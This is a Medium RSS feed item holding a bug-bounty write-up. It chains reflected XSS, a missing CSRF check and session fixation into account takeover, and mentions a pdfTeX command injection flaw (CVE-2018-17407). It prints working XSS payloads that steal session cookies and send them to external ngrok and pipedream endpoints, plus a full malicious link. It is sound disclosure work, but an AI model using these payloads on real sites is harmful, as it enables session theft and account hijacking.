<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Psycho02 on Medium]]></title>
        <description><![CDATA[Stories by Psycho02 on Medium]]></description>
        <link>https://medium.com/@psycho02?source=rss-b04e03fd1ca8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ee7s7rVd70vjRjTBpFOZiQ.jpeg</url>
            <title>Stories by Psycho02 on Medium</title>
            <link>https://medium.com/@psycho02?source=rss-b04e03fd1ca8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 23:55:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@psycho02/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From XSS To CSRF | One-click Authorized Access To Account Takeover]]></title>
            <link>https://medium.com/@psycho02/from-xss-to-csrf-one-click-authorized-access-to-account-takeover-6d8894b669ca?source=rss-b04e03fd1ca8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d8894b669ca</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Psycho02]]></dc:creator>
            <pubDate>Tue, 19 May 2020 20:30:09 GMT</pubDate>
            <atom:updated>2020-05-19T21:14:17.742Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*B-n_RxGosI542WHC_0ZsJA.gif" /></figure><p>Hey Guys, I’ll show you today my last finding in a company maybe going to be a tech unicorn very soon! The name of the company is obscure based on a policy of the company itself.</p><h3>Chain 4 Vulnerabilities To Reach Maximum Impact Possible</h3><h3>1st — [Reflected XSS] -</h3><p>XSS enables attackers to inject client-side scripts into HTML context viewed by other users. So I tried to execute a simple payload in the <strong>search</strong> box.</p><p>&quot;&gt;&lt;script&gt;confirm(&#39;test&#39;)&lt;/script&gt;</p><p>and it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jsim5aCSPzznwqrniDWxNQ.png" /></figure><p>Honestly, I didn’t expect that. So I decided to dig more with a high confident that I would find more vulnerabilities. The impact of this vulnerability is very dangerous on the user. because of the ability to steal user cookies and access them again to the website. I used <strong>ngrok</strong> to make tunnels to my localhost and pass document.cookie value using HTTP request through <strong>XMLHttpRequest</strong> (XHR)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*OWfexrinO9iZ4hKvuZ-Xcw.png" /></figure><p>let’s remove spaces and make the code condensed quite a bit.</p><p>&lt;script&gt;x=new XMLHttpRequest();x.open(&#39;GET&#39;,&#39;https://764ec77e.ngrok.io/&#39;+document.cookie);x.send();&lt;/script&gt;</p><p>When we check ngrok dashboard. we got the user cookies in the request. you can notice the most important one <strong>user_access_token</strong>, we will mention it later.</p><p>We can add this cookies to the browser and send it to the website and login as a vicitm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*t6KFP91CY-U4JxRVvULPvQ.png" /><figcaption>Ngrok Web Interface shows the request contains user_access_token</figcaption></figure><h3>2nd — [Cross-Site Request Forgery] -</h3><p>I intercept changing password request, Looking carefully, I noticed that <strong>JSON web token</strong> that we get from previous XSS (<strong>user_access_token</strong>) is used without CSRF token, So I was able to change the password and take over the account. Moreover, the API returns user information contains sensitive info like <strong>email</strong>. So the attacker can use it to login without any hassle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bXQhqLKI-CBsWxq4vMucHQ.png" /><figcaption>Change Password Request</figcaption></figure><p>Replace the JWT in Authorization header with the user_access_token leads to change the password <strong>on behalf</strong> of the user.</p><h3>Level-Up!</h3><p>I tried to chain XSS with CSRF to takeover the account and increase the impact of the vulnerabilities with a scenario I called it “Link2Hack” which needs a vicitm to click on the link to hijack the session cookies and change the password and retrieve the email’s vicitim in the response instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*Xf45Rla8FVXnZ0AmYG85ug.png" /><figcaption>illustration for the scenario</figcaption></figure><p>To impelement this scenario I select the fastest way to make the POC using <a href="https://pipedream.com/"><strong>pipedream</strong></a> for creating webhook So we’re able to handle the response and make http request again to endpoint to change the password without manage a server. Also, Pipedream allows you to run javascript code with <strong>node.js</strong> enviroment!</p><p>let’s jump to the <strong>practical</strong> part.</p><h4>1) Maintain your workflow</h4><p>when you click on new workflow. you’ll get your workflow endpoint eg:-</p><p><a href="https://entxk3uixmzvh5f.m.pipedream.net/">https://entxk3uixmzvh5f.m.pipedream.net</a></p><p>add a new <strong>action</strong> to your workflow by clicking on the + button between any two steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*qdVuJCh0Y7a4OWW8muS6LA.png" /></figure><p>I will choose the fastest way and select “Send HTTP Request”. it has one required parameter: the <strong>URL</strong> where you want to send the HTTP request. I’d like to change the HTTP method, add an HTTP payload, query string parameters or headers, I can click the <strong>add individual property. </strong>I change the method to ‘PATCH’ then set the headers which’s very important to make correct request.</p><p>Accept: application/vnd.api+json , Origin: https://redacted.net, Content-Type: application/vnd.api+json Authorization: Bearer</p><p>Now, We’re going to work on Authorization header and concatenate <strong>user_access_token </strong>value to ‘Bearer’ word since the application used JWT. I’ll pass this value through ‘c’ parameter through steps objects, for example:</p><p><a href="https://entxk3uixmzvh5f.m.pipedream.net/?c=our_value_here">https://entxk3uixmzvh5f.m.pipedream.net/?c=our_value_here</a></p><p>I can access properties of the HTTP request using event object</p><p>steps.trigger.event.</p><ul><li>steps.trigger.event.<strong>body</strong> : A string or object representation of the HTTP payload</li><li>steps.trigger.event.<strong>client_ip :</strong> IP address of the client that made the request</li><li>steps.trigger.event.<strong>headers : </strong>HTTP headers, represented as an object</li><li>steps.trigger.event.<strong>method : </strong>HTTP method</li><li>steps.trigger.event.<strong>url : </strong>Request host + path</li><li>steps.trigger.event.<strong>query : </strong>URL Parameters</li></ul><p>Accessing to ‘c’ parameter would be like that steps.trigger.event.query.c</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*xzjd4CGbKpLong3bSIOmyw.png" /></figure><p><strong>Final step</strong>: add body of the request in payload parameter, which contains the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ln6Q8QhHx4yE5ndffpDTPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*vbYZ__BsS9_3MgHyxlT8wA.png" /></figure><h4>2) Get specific cookie value</h4><p>since we got other values ( LiToken — ci_sessions — <strong>user_access_token</strong>) We need only user_access_token to make the request. for cutting this off from cookies I’ll use <strong>regex. </strong>replace() method searches a string for a specified value, or a <em>regular expression</em>, and returns a new string where the specified values are replaced.</p><p>replace(searchValue, replacer)</p><p>document.cookie.replace(/(?:(?:^|.*;\s*)<strong>user_access_token</strong>\s*\=\s*([^;]*).*$)|^.*$/, &quot;$1&quot;)</p><p>So the final payload gonna be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isvLOHFVsl8ECAteasJDYw.png" /></figure><p>&lt;script&gt;var Cooki=document.cookie.replace(/(?:(?:^|.*;\s*)user_access_token\s*\=\s*([^;]*).*$)|^.*$/, &quot;$1&quot;);x=new XMLHttpRequest();x.open(&#39;GET&#39;,&#39;https://entxk3uihmjvh5f.m.pipedream.net/?c=&#39;+Cooki,false);x.send();&lt;/script&gt;</p><p>Well-done everything sets right. The full url:</p><p>https://redacted.com/?q=&lt;script&gt;var Cooki=document.cookie.replace(/(?:(?:^|.*;\s*)user_access_token\s*\=\s*([^;]*).*$)|^.*$/, &quot;$1&quot;);x=new XMLHttpRequest();x.open(&#39;GET&#39;,&#39;https://entxk3uihmjvh5f.m.pipedream.net/?c=&#39;+Cooki,false);x.send();&lt;/script&gt;</p><p>with URL-encoding will be ready to send. Once a user click on the link the javascript code will be executed and hijack the session cookies then change the password plus retrieve the email’s user in the response to signin.</p><h3>3rd — [Session Fixation] -</h3><p>Session Fixation is about authenticating a user, or otherwise establishing a new user session, without <strong>invalidating</strong> any <strong>existing session</strong> <strong>identifier</strong> (<strong>SessionID</strong>) gives an attacker the opportunity to steal authenticated sessions or creates a new session on a web application and records the associated session identifier. Unfortunately, this’s what happened in this web app. After Changing the password the pervious SID still works. Which means the user continue using his account after the password has changed.</p><h3>4th — Possible Buffer Overflow]-</h3><p>The Company allows you to generate CV from your profile which will be created in PDF format. I generate a CV and download it. then I tried to extract pdf metadata using <a href="https://exiftool.org/"><strong>exiftool</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzBoNanHhqZxKm9ht-c5Hw.png" /></figure><p>This is pdfTeX, Version 3.14159265–2.6–1.40.15 (TeX Live 2015/dev/Debian) kpathsea version 6.2.1dev. from TeX Users Group website:</p><pre><a href="https://ctan.org/pkg/pdftex">pdfTeX</a> is an extension of <a href="https://ctan.org/pkg/tex">TeX</a> which can produce PDF directly from TeX source</pre><p>This version is affected by Buffer Overflow [<a href="https://nvd.nist.gov/vuln/detail/CVE-2018-17407">CVE-2018–17407</a>] which was discovered in TeX Live before 2018–09–21. Briefly, We can use it to redirect the name of the glyph from the font file to serve as an argument to system().But what is the glyph? <a href="https://en.wikipedia.org/wiki/Glyph"><strong>glyph</strong></a> is a graphical symbol which is used to represent a readabe character for the purposes of writing. using pdffonts to know fonts in our pdf:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*E_TimYCZ91WcmwQSAVg-eQ.png" /></figure><p>Its contents are loaded into memory from reading entries like these from the .pfb file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/208/1*dhAxahzVEbWPClw2mI4B6w.png" /></figure><p>So the exploit as follows: dup 72 /COMMAND_HERE put for example</p><p>dup 72 /whoami put which execute the command with the permissions of the pdflatex process. Since this vulnerability wasn&#39;t in the web application, I wouldn&#39;t able to produce it. For further information you can see this awesome <a href="https://nickroessler.com/latex-cve-2018-17407/">blog</a> by Nick Roessler who discovered this vulnerability.</p><p>Thank you for reaching this point. <strong>Your feedback</strong> is highly appreciated twitter: @Psych0x02</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d8894b669ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>